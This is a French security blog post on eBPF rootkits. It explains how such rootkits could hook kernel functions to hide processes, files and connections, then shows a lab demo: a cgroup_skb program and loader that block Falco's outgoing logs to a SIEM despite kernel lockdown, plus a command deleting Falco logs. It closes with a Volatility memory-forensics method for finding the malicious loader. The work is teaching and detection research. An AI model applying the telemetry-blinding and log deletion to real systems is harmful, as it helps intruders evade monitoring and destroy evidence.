Rootkits eBPF & forensic : de l’aveuglement de la télémétrie à la détection mémoire

Abstract

Les eBPF sont une fonctionnalité incroyable du noyau Linux mais aussi dangereuse ! Souvent méconnus, les eBPF permettent de créer des programmes malveillants capables de se cacher eux-mêmes. À la fin de l’article, je propose une méthode d’analyse en mémoire qui exploite la structure des rootkit eBPF pour les détecter.

Dans cet article nous allons voir :

  • comment fonctionnent les eBPF
  • l’architecture théorique d’un malware eBPF
  • blocage de télémétrie via l’usage d’un rootkit eBPF
  • forensic : trouver notre rootkit dans un dump mémoire

Je vous souhaite une excellente lecture !

Les eBPF

Présentation des eBPF

Les eBPF sont une fonctionnalité qui a été ajoutée au noyau Linux en 2014 et dont l’implémentation continue encore d’évoluer. L’idée révolutionnaire derrière ce système est de permettre la modification de comportement du noyau avec une autre interface que celle que nous utilisions historiquement : le développement de driver. Et en plus les eBPF ont un magnifique logo ;)

image.png

Plus concrètement, on va venir installer des hook dans le kernel Linux afin d’observer et de modifier certains comportements. Pour cela on peut utiliser ce qu’on appelle un hook. Un hook est simplement la modification d’un programme pour détourner son flow vers une fonction secondaire.

Il existe de nombreux types de hook en eBPF, notamment :

kprobes : kernel probes, permet de hooker quasiment n’importe quelle instruction dans le kernel linux. Il existe cependant une blacklist d’adresses. Pour cela on utilise register_kprobe() et unregister_*probes().

Return probes : permet de hooker le retour d’une fonction en remplaçant son adresse de retour par ce que la doc appelle un “trampoline”.

Tracepoint : points d’instrumentation statiques dans le kernel, préinsérés par les développeurs du kernel. Beaucoup moins gourmands en performance.

Le hook cgroup : attache un eBPF à un cgroup (v2) : le programme s’exécute alors pour tous les processus de ce groupe. Cela permet d’observer ou de filtrer des comportements à la granularité d’un conteneur ou d’un service plutôt que pour tout le système. Par exemple sur les paquets réseau (cgroup/skb), la création de sockets (cgroup/sock), les adresses de connect/bind (cgroup/sockaddr), les sysctl ou l’accès aux périphériques (cgroup/device).

Note : Pour gérer nos eBPF, un syscall dédié a été ajouté dans le noyau linux : le syscall eBPF.

image.png

eBPF hook ( faut bien rigoler )

Exemple d’usage des eBPF

Beaucoup de projets d’observabilité se sont basés sur la technologie des eBPF pour renforcer la sécurité de nos systèmes : on peut citer Cilium et Falco notamment. À la manière de Sysmon pour Linux, ils vont venir observer ce qui se passe dans le noyau afin de détecter des comportements suspects.

image.png

Utilisation des eBPF pour l’observabilité, ref : https://hub.docker.com/r/cilium/docker-plugin

Un des grands avantages de ce système est que cela convient très bien dans les architectures modernes de conteneurisation de docker à kubernetes. En effet, le noyau étant partagé entre les conteneurs, surveiller l’hôte revient à surveiller tous les invités.

Les eBPF sont également utilisés pour modifier les comportements du noyau. Par exemple Katran, développé par Meta, est un exemple très parlant : il s’agit d’un load-balancer L4 haute performance basé sur XDP/eBPF, capable de traiter les paquets très tôt dans le chemin réseau. Dans la même famille, LoxiLB propose un load-balancer cloud-native basé sur Go et eBPF.

Les eBPF XDP

Pour continuer sur les noms absconds, faisons un détour introductif pour parler des eBPF XDP. Les XDP sont un type d’eBPF qu’on va utiliser plus bas et qui permettent spécifiquement de travailler sur la couche réseau.

Très puissants, ils peuvent même être directement chargés sur la carte réseau. C’est idéal pour implémenter des outils de load-balancing ou bien de firewall.

Le problème

Et oui ! C’est le retour du grand méchant ( introduit dans l’article précédent : https://nobisd.fr/posts/dfir-graphes-threat-hunting/ ). Évidemment, si nos eBPF peuvent être utilisés pour modifier directement le noyau, les vilains peuvent le faire aussi. C’est une manière flexible et relativement discrète de persister et de cacher ses processus, communications malveillantes, etc…

Cette classe de malware logés dans le kernel c’est ce qu’on appelle un rootkit. Le scénario de menace est celui d’un attaquant qui a réussi à s’élever en tant que root sur la machine et qui veut désormais se cacher. L’accès au kernel lui sert souvent pour masquer la suite de son activité malveillante.

Anatomie d’un rootkit eBPF

Ici une présentation théorique de la façon dont s’articule un rootkit eBPF minimal.

image.png

Comme présenté ci-dessus, notre rootkit va devoir s’articuler en deux parties : une dans l’espace utilisateur ( user-space ) et une autre dans l’espace noyau ( kernel-space ).

Espace utilisateur

Processus client

Notre rootkit va devoir avoir deux éléments importants : un processus qui va communiquer avec les eBPF chargés dans le noyau, et les maps qui sont un espace partagé avec nos programmes eBPF.

Le programme client, pourra être dirigé à distance par un attaquant ( via un canal de command and control ) ou bien seulement avoir pour objectif de charger les eBPF dans le noyau et leur passer des ordres. En effet, pour charger nos eBPF malveillants il va falloir passer par le syscall eBPF pour que le kernel vérifie nos eBPF afin d’éviter que ceux-ci présentent des risques de faire planter le système. Si ceux-ci passent les tests ils seront chargés dans la machine virtuelle eBPF et attachés à un kprobe. Pour pouvoir charger un eBPF un programme devra déjà être exécuté en tant que root.

Les maps

Les maps sont un espace mémoire partagé qui permet d’échanger des données entre un programme en espace utilisateur et des eBPF. Il existe différents types de map selon les données qu’on essaye d’échanger mais les ring buffer permettent généralement de répondre aux cas client-serveur.

On distingue deux manières d’utiliser les map : les pinned-map ou les not-pinned. Si la map est attachée ( pinned :D dur dur d’écrire en français ), celle-ci possède un descripteur de fichier ouvert dans /sys/fs/bpf/ et qui peut rendre plus visible le rootkit. Cependant, si la map n’est pas attachée, dès le déchargement des eBPF clients ou programme qui les a chargé, la map disparaît. Si le développeur du rootkit veut privilégier la stabilité, il a tout intérêt à garder ses maps attachées.

image.png

Pinned map

Espace noyau

C’est ici que tout se joue, en insérant des eBPF aux endroits stratégiques le rootkit va pouvoir cacher les processus malveillants, cacher ses fichiers et ses connexions réseau. En échangeant avec le client via les map, chaque eBPF va prendre ses instructions pour savoir que cacher, quoi modifier, etc…

On peut citer quelques kprobe d’importance ( présents aussi dans le schéma plus haut ) :

__x64_sys_bpf : c’est la fonction exécutée par le syscall bpf, ici on pourra modifier son comportement pour cacher les eBPF malveillants

sys_getdents : fonction exécutée pour lister les fichiers d’un dossier (et les processus) ; la détourner permettrait de cacher les maps ou fichiers malveillants, ainsi que le processus client

commit_creds : chargée de la gestion des autorisations des processus, elle pourrait être détournée pour faire tourner tous les processus de l’attaquant en root

tcp4_seq_show : pourrait permettre de cacher les connexions tcp de l’attaquant

À la découverte de nouveaux symboles noyaux

Pour trouver de nouveaux symboles hookable et lister ceux du noyau on peut directement lire en root le fichier /proc/kallsyms .

Ex :

theo@theo-rootkit:~$ sudo cat /proc/kallsyms | grep bpf | head
000000000002bac0 A bpf_raw_tp_nest_level
000000000002bae0 A bpf_raw_tp_regs
000000000002bd40 A bpf_misc_sds
000000000002c040 A bpf_pt_regs
000000000002c238 A bpf_event_output_nest_level
000000000002c23c A bpf_trace_nest_level
000000000002c240 A bpf_trace_sds
000000000002c550 A bpf_user_rnd_state
000000000002c560 A __bpf_map_cookie
000000000002c570 A bpf_prog_active 

Se défendre contre les rootkit eBPF

C’est ici que les choses deviennent compliquées. Cette fonctionnalité a beau être révolutionnaire elle pose un certain nombre de problèmes.

Comparaison avec Windows

Dans Windows, atteindre l’exécution kernel est beaucoup plus compliqué : il faut passer par un driver signé — le plus souvent en exploitant un driver légitime mais vulnérable (technique du BYOVD, Bring Your Own Vulnerable Driver). Pas impossible, mais vraiment pas évident. De plus, avec des protections comme HVCI / VBS (intégrité du code garantie par l’hyperviseur) et DSE (signature obligatoire des drivers), même un driver chargé ne dispose pas des mêmes libertés dans l’espace noyau. En bref, Linux expose une surface d’extension kernel très puissante, dont la sécurité dépend fortement de la configuration : capabilities, lockdown, LSM, unprivileged BPF, Secure Boot, visibilité bpftool, etc.

Le kernel-lockdown

Une protection permet d’empêcher le chargement d’eBPF dans le kernel : le kernel lockdown. Disponible en deux modes : integrity ou confidentiality, cette fonctionnalité est désactivée par défaut. En mode integrity, le kernel empêche le chargement d’eBPF qui modifient le comportement du noyau et les drivers non signés. En mode confidentiality, le kernel restreint en plus les eBPF capables de lire la mémoire du noyau (typiquement ceux attachés à des kprobe via les helpers de lecture), afin d’éviter toute fuite d’information depuis le noyau.

En confidentiality, il reste donc les eBPF de type tracepoint (uniquement pour l’observabilité) et XDP ( la partie réseau).

On peut vérifier le mode actuel ainsi :

cat /sys/kernel/security/lockdown
[none] integrity confidentiality

Ci-dessus les petits [] m’indiquent que je suis en mode none, sans lockdown.

Remarque : la plupart des distributions majeures activent le kernel lockdown en integrity quand le secure-boot est activé dans l’UEFI. C’est donc une fonctionnalité répandue.

La parade de l’attaquant : désactiver la télémétrie distante

Comme on l’a vu précédemment, malgré le kernel lockdown on devrait être capables de charger des eBPF de type réseau : les XDP, mais aussi les programmes attachés à un cgroup (cgroup_skb), qui ne sont couverts par aucun des deux modes de lockdown. C’est ce dernier type que nous allons utiliser ici. Un attaquant pourrait s’en servir par exemple pour empêcher le système d’envoyer ses logs au serveur central, ou pour y introduire un peu d’entropie.

Afin de tester ce modèle on va déployer un petit range avec ludus ( voir mon article sur le sujet https://nobisd.fr/posts/ludus-proxmox/ ). On va simplement avoir une machine victime avec falco déployé dessus qui envoie ses logs à un serveur elk central.

Commençons par activer le kernel-lockdown en integrity :

sudo vim /etc/default/grub
# mettre cette ligne GRUB_CMDLINE_LINUX_DEFAULT="quiet lockdown=integrity"
# Puis 
sudo update-grub
sudo reboot

On installe ensuite falco et on active le service. Falco est un outil très puissant pour obtenir de la visibilité sur ce qu’il se passe sur un système Linux. On peut le comparer à auditd, dont il est une version plus moderne. Falco peut tourner en plusieurs modes, dont en eBPF pour obtenir sa vision sur le kernel.

Ici on peut voir que falco tourne bien en eBPF :

sudo systemctl cat falco | grep engine
ExecStart=/usr/bin/falco -o engine.kind=modern_ebpf

Si on fait des actions malveillantes par exemple cat /etc/passwd on voit qu’on reçoit bien les logs dans notre SIEM :

image.png

Chargement d’un rootkit eBPF dédié

Cette fois on utilise un petit programme écrit spécialement pour ça et disponible ici dans le lab du post : https://github.com/theophane-droid/dfir-ebpf-rootkit/.

En dehors de la logique d’échange de données avec la map, le programme bpf gère le blocage des flux ici :

static __always_inline int handle_packet(struct __sk_buff *skb, __u8 direction)
{
				...
        if (!rule_matches(rule, dport, direction))
            continue;

        dropped = should_drop_flow(rule,
                                   ip.saddr,
                                   ip.daddr,
                                   sport,
                                   dport,
                                   ip.protocol,
                                   direction);

        emit_event(skb, &ip, sport, dport, idx, direction, rule, dropped);

        return dropped ? 0 : 1;
    }

    return 1;
}
SEC("cgroup_skb/ingress")
int on_ingress(struct __sk_buff *skb)
{
    return handle_packet(skb, DROP_DIR_INGRESS);
}

SEC("cgroup_skb/egress")
int on_egress(struct __sk_buff *skb)
{
    return handle_packet(skb, DROP_DIR_EGRESS);
}

Dans le loader (client) on fera ceci pour attacher l’ebpf à l’entrée sortie d’un cgroup spécifique. Ici on utilise le cgroup par défaut afin de n’impacter que les processus de l’host.

 skel->links.on_ingress = bpf_program__attach_cgroup(
        skel->progs.on_ingress,
        cgroup_fd
    );
skel->links.on_ingress = bpf_program__attach_cgroup(
        skel->progs.on_ingress,
        cgroup_fd
  );

On peut le lancer afin d’aveugler falco :

./loader
listening on cgroup: /sys/fs/cgroup
stats interval: 5s
configured drop rules:
  rule=0 port=50000 direction=out drop=100%
stats:
  rule=0 port=50000 direction=out configured_drop=100% matched=0 dropped=0 passed=0 observed_drop=0.0%
stats:
  rule=0 port=50000 direction=out configured_drop=100% matched=6 dropped=6 passed=0 observed_drop=100.0%

On voit ici que les connexions sortantes de falco sont bien bloquées et notre console SIEM ne reçoit plus de logs. Bloquer l’intégralité du flux est volontairement grossier ici, à des fins de démonstration — un SIEM mature pourrait s’alarmer de l’arrêt brutal des logs ; on verra plus bas comment raffiner. Pourtant, le kernel-lockdown est bien activé ! On peut maintenant supprimer les logs falco si on veut faire du log tampering.

rm -rf /var/log/falco/* 

Ce que ça montre du verrouillage kernel

Comme nous l’avons vu dans cette section, le kernel a beau avoir le lockdown d’activé. Il y a tout de même des possibilités d’aveugler la télémétrie. Étant donné que falco démarre un serveur web qui permet de vérifier s’il est toujours en vie, le serveur central pourra toujours penser que le serveur fonctionne normalement.

On pourrait même aller plus loin : plutôt que de bloquer tous les flux, on pourrait filtrer le corps des messages et bloquer tout ce qui concerne des alertes et laisser passer le reste du contenu. C’est d’ailleurs ici que les eBPF peuvent se montrer plus intelligents pour faire de l’aveuglement qu’une règle de filtrage qui bloquerait la télémétrie.

Forensic

C’est pas mal ! Nous avons pu voir comment un attaquant pouvait utiliser les eBPF à son avantage pour nous aveugler. Comment pourrions-nous détecter une telle attaque ?

Pour les rootkit eBPF on peut faire le tableau suivant concernant la fiabilité de l’investigation :

ApprocheFiable si kernel compromis ?Intérêt
bpftool liveNonTri rapide
/sys/fs/bpfNonArtefacts faciles
Falco/TetragonPartielDétection avant aveuglement
AVML depuis l’OSMoyenPratique si lockdown permet
LiMEMoyenPuissant mais lourd
Dump hyperviseurOuiMeilleur choix lab/cloud
Volatility + symboles exactsOui si dump fiableAnalyse post-mortem

Donc si on a une suspicion de compromission du kernel, l’idéal est de réaliser un dump mémoire depuis l’hyperviseur.

Réaliser le dump et générer les symboles

Le dump est pris directement depuis l’hyperviseur Proxmox, sans rien exécuter sur la machine potentiellement compromise (le lab tourne sous Proxmox, déployé avec Ludus ; voir mon article dédié) :

qm monitor <vmid>
qm> dump-guest-memory /var/lib/vz/dump/mem-<vmid>.elf
qm> quit

Volatility a besoin de symboles correspondant exactement au noyau du dump. On récupère donc d’abord sa version :

strings memory.dump | grep -i "Linux version"

On télécharge ensuite les paquets dbgsym Debian correspondants, puis on génère le fichier de symboles (ISF) avec dwarf2json :

dwarf2json linux \
  --elf ./vmlinux-6.1.0-49-amd64 \
  --system-map ./System.map-6.1.0-49-amd64 \
  > linux-6.1.0-49-amd64.json

mkdir -p symbols/linux
mv linux-6.1.0-49-amd64.json symbols/linux/

Il ne reste plus qu’à pointer Volatility (et volshell) sur ce dossier de symboles, et à dérouler l’analyse.

Stratégie de détection

Comme cela a été montré plus haut, un rootkit ebpf est composé de nombreuses briques entre le kernel et l’espace utilisateur. Plutôt que d’aller analyser chacune des briques, pour savoir si elle est malveillante, j’explore ici la stratégie de repérer les liaisons entre chaque brique telle que montré ici :

image.png

Étant donné que les processus clients, doivent maintenir une map ouverte et que les eBPF également, cette relation peut être exploitée pour savoir quel processus utilise quelle map et donc au final à quel eBPF il s’adresse.

Detection client - map

En effet, les processus utilisateurs maintiennent des files descriptor ouverts vers les map qu’ils utilisent même si celles-ci ne sont pas pinnées. Ces files descriptor sont visibles en mémoire et peuvent être explorés avec volatility 3 par exemple. En utilisant la fonction lsof fournie par l’API volatility, on va pouvoir explorer tous les fichiers ouverts et basé sur leur type sélectionner ceux qui concernent des map eBPF.

Detection eBPF - map

Pour trouver les liens entre nos eBPF et les maps, on va pouvoir utiliser le module volatility nommé linux.ebpf celui-ci liste tous les eBPF chargés dans le noyau. Pour chaque programme chargé en mémoire, le kernel maintient une liste des maps ouvertes dans un tableau. Ce tableau se trouve en parcourant les deux structures successives : prog->aux->used_maps .

Relier les deux

Une fois connus les clients et leurs relations avec des maps, et les maps et leur relation avec des eBPF, on peut désormais tracer la relation entre les programmes utilisateurs et les eBPF. Cela va nous aider à dire si l’eBPF est légitime ou non, basé sur le programme qui l’utilise.

L’automatisation

Pour automatiser cela, j’ai développé un script disponible sur le repository de ce lab ici : https://github.com/theophane-droid/dfir-ebpf-rootkit/. On peut simplement l’utiliser ainsi :

volshell  -f mem-dump -s ./symbols/ -l --script find_evil_ebpf.py 
Volshell (Volatility 3 Framework) 2.28.0                                                                                                                                                                             
Readline imported successfully  Stacking attempts finished                                                
Running code from file:///home/theo/memory/analysis_script.py                                             
                                                                                                          
======================================================================                                    
 Table 1 : file descriptors pointing to eBPF maps                                                         
======================================================================                                    
[*] 17 fds pointing to eBPF maps found.                                                                   
                                                                                                          
    PID     TID  COMM               FD   MAP_ID  TYPE             NAME             ADDRESS                
------------------------------------------------------------------------------------------                
    407     407  falco              77       36  PROG_ARRAY       custom_sys_exit  0x88ce0691ba00         
    407     407  falco              78       37  PROG_ARRAY       syscall_exit_ta  0x88ce0333e000         
    407     407  falco              79       38  PROG_ARRAY       syscall_exit_ex  0x88ce0691b400         
    407     407  falco              80       39  ARRAY            interesting_sys  0x88ce0333a000         
    407     407  falco              81       40  ARRAY            capture_setting  0x88ce0691bc00         
    407     407  falco              82       41  ARRAY            iter_auxiliary_  0xcf02c4245000                                                                                                                    
    407     407  falco              83       42  ARRAY            iter_counters_m  0x88ce0691b200                                                                                                                    
    407     407  falco              84       43  ARRAY            auxiliary_maps   0xcf02c4267000         
    407     407  falco              85       44  ARRAY            counter_maps     0x88ce0283d800         
    407     407  falco              86       45  ARRAY_OF_MAPS    ringbuf_maps     0x88ce0691a000         
    407     407  falco              87       46  PROG_ARRAY       extra_sched_pro  0x88ce0691b800         
    407     407  falco              88       47  ARRAY            bpf_prob.rodata  0xcf02c42a9ef0         
    407     407  falco              89       48  ARRAY            bpf_prob.bss     0xcf02c4359ef0         
    407     407  falco              90       49  ARRAY            bpf_prob.data    0xcf02c435cef0         
    693     693  loader              4       51  RINGBUF          events           0x88ce0124f800
    693     693  loader              5       52  ARRAY            rule_count       0x88ce0124e600
    693     693  loader              6       53  ARRAY            drop_rules       0x88ce0ae22400

======================================================================
 Table 2 : eBPF programs and the maps they use
======================================================================
[*] 918 program/map associations found.

PROG_ID  PROG_NAME        PROG_TYPE          MAP_ID  MAP_TYPE         MAP_NAME
------------------------------------------------------------------------------------------
      3  sd_devices       CGROUP_DEVICE           -  -                
      4  sd_fw_egress     CGROUP_SKB              -  -                
      5  sd_fw_ingress    CGROUP_SKB              -  -                
      6  sd_fw_egress     CGROUP_SKB              -  -                
      7  sd_fw_ingress    CGROUP_SKB              -  -                
      8  sd_devices       CGROUP_DEVICE           -  -                
      ...
    237  on_ingress       CGROUP_SKB             53  ARRAY            drop_rules
    237  on_ingress       CGROUP_SKB             51  RINGBUF          events
    238  on_egress        CGROUP_SKB             52  ARRAY            rule_count
    238  on_egress        CGROUP_SKB             53  ARRAY            drop_rules
    238  on_egress        CGROUP_SKB             51  RINGBUF          events
    
 ======================================================================                                                                                                                                               
 Table 3 : user processes linked to eBPF programs via shared maps                                                                                                                                                    
======================================================================                                                                                                                                               
[*] 909 process <-> program links via shared maps.                                                                                                                                                                   
                                                                                                                                                                                                                     
    PID COMM              PROG_ID PROG_NAME        MAP_ID MAP_TYPE         SHARED_MAP_NAME                                                                                                                           
-----------------------------------------------------------------------------------------------                                                                                                                      
    407 falco                  36 sys_exit             36 PROG_ARRAY       custom_sys_exit                                                                                                                           
    407 falco                  36 sys_exit             37 PROG_ARRAY       syscall_exit_ta                                                                                                                           
    407 falco                 138 open_by_handle_      38 PROG_ARRAY       syscall_exit_ex                                                                                                                           
    407 falco                 207 vfork_x              38 PROG_ARRAY       syscall_exit_ex                                                                                                                           
 ...
    693 loader                237 on_ingress           51 RINGBUF          events
    693 loader                238 on_egress            51 RINGBUF          events
    693 loader                237 on_ingress           52 ARRAY            rule_count
    693 loader                238 on_egress            52 ARRAY            rule_count
    693 loader                237 on_ingress           53 ARRAY            drop_rules
    693 loader                238 on_egress            53 ARRAY            drop_rules

Ci-dessus, on peut voir qu’il a été possible de :

  • table 1 : lister tous les programmes ayant une map eBPF ouverte et chaque map utilisée par un eBPF. Ainsi, nous avons pu identifier deux programmes utilisateurs qui utilisent les eBPF : falco (pid 407) et loader (pid 693).
  • table 2 : lister toutes les maps tenues par des programmes eBPF
  • table 3 : faire le lien entre les process utilisateurs et les programmes eBPF via leur map

On peut ensuite investiguer davantage sur les deux processus falco et loader, pour savoir dans quel contexte ils ont été lancés. Cette analyse permettrait de montrer que loader est bien malveillant et que tous les eBPF qu’utilise ce programme sont donc malicieux.

Limite de cette approche

Il est tout à fait possible d’imaginer des rootkit eBPF qui n’utiliseraient pas de maps pour communiquer avec un programme utilisateur. Un tel eBPF pourrait être injecté avec des paramètres dynamiquement choisis selon les besoins de l’opérateur malveillant.

Conclusion

Dans cet article, nous avons pu montrer que malgré les protections noyaux qui peuvent être mises en place, la menace des rootkit eBPF n’est pas éteinte. De ce constat, nous avons pu montrer une méthode pour tracer le lien entre les processus utilisateurs et les eBPF pour faire la différence entre un programme légitime et un rootkit.

J’espère que cet article vous a plu, j’explore ce format qui se veut à mi-chemin entre la vision d’un attaquant et celle d’un analyste forensic. Si cela vous a plu n’hésitez pas à me suivre et à me faire des retours sur linkedin : https://linkedin.com/in/theophane-dumas.

À bientôt sur nobisd pour plus d’articles forensic !


Références :